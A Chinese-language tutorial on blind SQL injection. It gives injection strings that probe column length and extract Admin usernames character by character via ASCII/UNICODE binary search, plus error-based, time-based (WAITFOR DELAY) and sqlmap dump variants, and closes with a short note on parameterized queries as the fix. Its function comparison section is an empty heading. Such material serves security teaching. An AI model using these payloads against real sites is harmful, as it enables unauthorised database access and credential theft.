SQL 注入進階實戰 (第二部分)：長度探測、ASCII 逐字解碼、常用函數對照與中文處理

接續高階篇，本文詳細示範如何在已知表/欄位前提下，透過長度探測與 ASCII 逐字解碼提取資料，並整理 Access/SQL Server 常用函數對照表與中文 Unicode 處理技巧。

一、 資料提取標準流程：長度 → 逐字解碼

步驟 1：探測欄位長度 (以 Admin 表 username 為例)

-- 參數：id=49 AND (SELECT TOP 1 LEN(username) FROM Admin) > 0
-- 依序測試 >1, >2, >3... 直到不成立
-- 假設 >7 成立、>8 不成立 → LEN = 8

實務採用**二分搜尋** (Binary Search) 加速：先測 >50、>25、>12... 縮小範圍再線性逼近。

步驟 2：逐字擷取 ASCII 碼

-- 第 1 字元
id=49 AND (SELECT TOP 1 ASCII(SUBSTRING(username,1,1)) FROM Admin) > 0
-- 二分法：>64? >96? >112? ... 縮小至確切 ASCII 值
-- 英數字範圍 32-126，約 7 次猜測鎖定單一字元

• SUBSTRING(str, start, len)：SQL Server 截取函數
• ASCII()：取第一字元 ASCII 碼
• 自動化腳本可將單表提取速度提升至秒級

二、 Access vs SQL Server 常用函數對照表

三、 中文處理關鍵差異

中文逐字解碼範例 (SQL Server)

DECLARE @sql NVARCHAR(4000), @i INT = 1, @len INT, @ch NVARCHAR(1);
SELECT @len = LEN(username) FROM Admin WHERE id = 1;  -- 假設已知長度
WHILE @i <= @len
BEGIN
    -- 二分搜尋 UNICODE 碼點
    SET @sql = 'SELECT CASE WHEN UNICODE(SUBSTRING(username,' + CAST(@i AS VARCHAR) + ',1)) > 30000 THEN 1 ELSE 0 END FROM Admin WHERE id=1';
    -- ... 執行 @sql 並根據回傳 0/1 調整上下界 ...
    SET @i = @i + 1;
END

四、 實務加速技巧

• 併發多執行緒：同時探測不同字元位置 (需控制連線數)
• 錯誤回顯法：CAST((SELECT TOP 1 username FROM Admin) AS INT) 直接觸發轉型錯誤，一次取得整串 (需錯誤頁回顯)
• 時間盲注：無回顯時用 WAITFOR DELAY 判斷真假 (慢、噪音大)
• 工具化：sqlmap -u "url?id=1*" --dump -T Admin -C username 自動完成上述所有步驟

五、 防禦重申

**參數化查詢** 仍是唯一根治。上述所有技巧在參數化查詢前完全失效，因為使用者輸入永遠不會成為 SQL 代碼一部分。